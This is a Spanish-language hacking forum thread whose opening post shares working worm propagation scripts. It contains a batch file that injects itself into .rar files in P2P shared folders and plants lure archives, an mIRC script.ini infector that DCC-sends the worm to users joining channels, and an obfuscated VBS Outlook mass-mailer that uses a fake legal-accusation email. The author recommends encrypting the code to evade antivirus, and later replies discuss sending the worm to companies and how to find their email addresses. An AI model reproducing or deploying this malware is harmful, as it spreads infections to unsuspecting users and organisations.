Herramientas de propagacion(p2p, infeccion de .rar, mirc, etc)

weno ... he creado algunos scripts q les pueden servir como herramientas a la ora de codear gusanos...

infeccion de .rar en clientes p2p+propagacion p2p(la lista es editable! (la de clientes y la de archivos a crear))

code:

Citar

@echo off
del %windir%\t.rar
type %0>op.bat
set o="%systemdrive%%~p0op.bat"
cd "%systemdrive%%~p0"
echo eMule\Incoming\ > %windir%\yer.t
echo Shareaza\Downloads\ >> %windir%\yer.t
echo BearShare\Shared\ >> %windir%\yer.t
echo EDONKEY2000\incoming\ >> %windir%\yer.t
echo LimeWire\Shared\ >> %windir%\yer.t
echo Path_msn_Emoticonos > %windir%\jer.t
echo sms_gratis >> %windir%\jer.t
echo polifonicos_free >> %windir%\jer.t
echo Microsoft_Office_2007_all_serials >> %windir%\jer.t
echo Windows_Vista_activation_tool >> %windir%\jer.t
echo Windows_Vista_all_serials >> %windir%\jer.t
echo MSN_hack_codes >> %windir%\jer.t
set rc=1
set r="%programfiles%\WINRAR\WinRAR.exe"
%r% a %windir%\t.rar %o%
if not %errorlevel%==9009 set rc=0
goto fr
:fr2
set uno=%1
for /F "tokens=* delims=" %%g in (%windir%\jer.t) do (
if %rc%==0 (
@copy /y %o% "%%g.bat"
cls
ping -n 2 localhost > nul
%r% a "%%g.rar" "%%g.bat"
)
)
goto :EOF
:fr
for /F "tokens=* delims=" %%a in (%windir%\yer.t) do (
if exist "%programfiles%\%%a" (
cd "%programfiles%\%%a"
for %%e in (*.rar) do (
@copy /y %o% "%%~ne.bat"
cls
ping -n 2 localhost > nul
%r% a "%%e" "%%~ne.bat"
)
call :fr2 %%a
)
)
pause
cd %windir%
del *.t
cd "%systemdrive%%~p0"
del op.bat
exit

infector del script.ini (del mirc)

code:

Citar

@echo off
set o=%windir%\info.cmd
copy /y %0 %o%
echo %systemdrive%\mirc\ > $
echo %systemdrive%\mirc32\ >> $
echo %programfiles%\mirc\ >> $
echo %programfiles%\mirc32\ >> $
set mirc=null
for /f %%a in ($) do (if exist %%amirc.ini set mirc=%%a)
if %mirc%==null exit
echo [script] > %mirc%\script.ini
echo n0=on 1:JOIN:#:{ >> %mirc%\script.ini
echo n1= /if ( $nick == $me ) { halt } >> %mirc%\script.ini
echo n2= /.dcc send $nick "%o%" >> %mirc%\script.ini
echo n3=} >> %mirc%\script.ini
exit

propagacion por mail (aviso: mi nod32 me detecto el script vbs ... y el outlook me paro al correr el vbs .... s solo para demostracion .. si qieren algo de utilidad.... encripten!)

code:

Citar

@echo off
find "'%outinf%"<%0>oi.vbs
find /v "find "<oi.vbs>oiv.vbs
start oiv.vbs
del /s /q $ oi.vbs
exit

Set shell = createobject("scripting.filesystemobject") '%outinf%
windr = shell.getspecialfolder(0) '%outinf%
yo = windr & "\info.cmd" '%outinf%
execute "Set out = CreateObject" & "(" & """" & Chr(79) & Chr(117) & Chr(116) & Chr(108) & Chr(111) & Chr(111) & Chr(107) & "." & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & """" & ")" '%outinf%
If out = "Outlook" Then '%outinf%
Set api = out.GetNameSpace("MAPI") '%outinf%
Set victimas = api.AddressLists '%outinf%
For Each a In victimas '%outinf%
If a.AddressEntries.Count <> 0 Then '%outinf%
todas = a.AddressEntries.Count '%outinf%
For b = 1 To todas '%outinf%
Set vir = out.CreateItem(0) '%outinf%
Set prsns = a.AddressEntries(b) '%outinf%
vir.To = prsns.Address '%outinf%
vir.Subject = "ACUSACION JUDICIAL!" '%outinf%
vir.Body = "Estimado usuario de Microsoft Windows:" & vbcrlf & "Usted a sido encontrado en actividades ilegales contra la propiedad ajena ademas de vialacion a los derechos de autos de varios programas instalados en su ordenador. Vea el archivo adjunto para ver los detalles de la acusacion!." & vbcrlf & "En 10 dias sera llamado para declaraciones. En estos momentos su posicion esta siendo rastreada." & vbcrlf & "" '%outinf%
execute "set prpar =vir." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115) '%outinf%
me = yo '%outinf%
vir.DeleteAfterSubmit = True '%outinf%
prpar.Add me '%outinf%
If vir.To <> "" Then '%outinf%
vir.Send '%outinf%
End If '%outinf%
Next '%outinf%
End If '%outinf%
Next '%outinf%
End If '%outinf%

Saludos .. Cool

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

Reglamento del Foro

Linux Registered User #473016

Creo que el del propagacion por outlook no sirve mas!XD ya nadie, bueno casi nadie lo usa, por ejemplo a mi no me sirve! Wink

Salu2's!

Cita de: Sh4k4 en Diciembre 18, 2007, 08:14:04

nice but..vbs? Lips Sealed

only in outlook infection ... try to do this only with batch! .. xD ... thnx

Cita de: SkullMaster123 en Diciembre 19, 2007, 09:19:57

Creo que el del propagacion por outlook no sirve mas!XD ya nadie, bueno casi nadie lo usa, por ejemplo a mi no me sirve! Wink

Salu2's!

eso s cierto! ... pro weno ... la gracia es vr cmo luego d oras de pensar sale un resultado!.. xD

Saludos !

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

Reglamento del Foro

Linux Registered User #473016

hey shadow tengo un proyecto de comunicacion de red necesito una paqueña ayuda del gruposhigger

Explicanos la idea del proyecto q tenes--->

Cita de: SkullMaster123 en Diciembre 19, 2007, 09:19:57

Creo que el del propagacion por outlook no sirve mas!XD ya nadie, bueno casi nadie lo usa, por ejemplo a mi no me sirve! Wink

Salu2's!

Si supieras lo que se utiliza a nivel de empresa... cuando llegué a mi empresa la mayoría por no decir TODOS usaban Outlook Express sin actualizar... manejando información de bancos y cosas por el estilo... :S

Reto HacK v.1 (Wargame)

Hacking Empezando desde 0

Haz Crecer Con Tu Visita La Mini Ciudad de El-Hacker.com!!

Cita de: ManCuerTex (ViPeR) en Enero 28, 2008, 04:05:04

Cita de: SkullMaster123 en Diciembre 19, 2007, 09:19:57

Creo que el del propagacion por outlook no sirve mas!XD ya nadie, bueno casi nadie lo usa, por ejemplo a mi no me sirve! Wink

Salu2's!

Pero hay estas tu para salvarlos o no? jejej

Citar

si la mayoria de las empresas lo usan, me di cuenta ya hace tiempo cuando fui a comprar unas bombas de agua (esas que extraen agua etc..) vi abierta en la pc el Outlook, pero como hacemos para mandar eso a una empresa!XD o tu lo harias por nosotros! Evil

Salu2's!

Cita de: skullmaster123 en Enero 29, 2008, 01:15:47

Citar

Salu2's!

No es dificil ,
toda empresa tiene un mail , o un soporte , si tiene pag seguro que ta hay el mail ,
Basta con que pongas en google "Email de (nombre de la empresa)" (SIN COMILLAS) y seguro ta ahy , sino en los mismos productos ,

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Julio 26, 2008, 08:14:18 Boton Buscar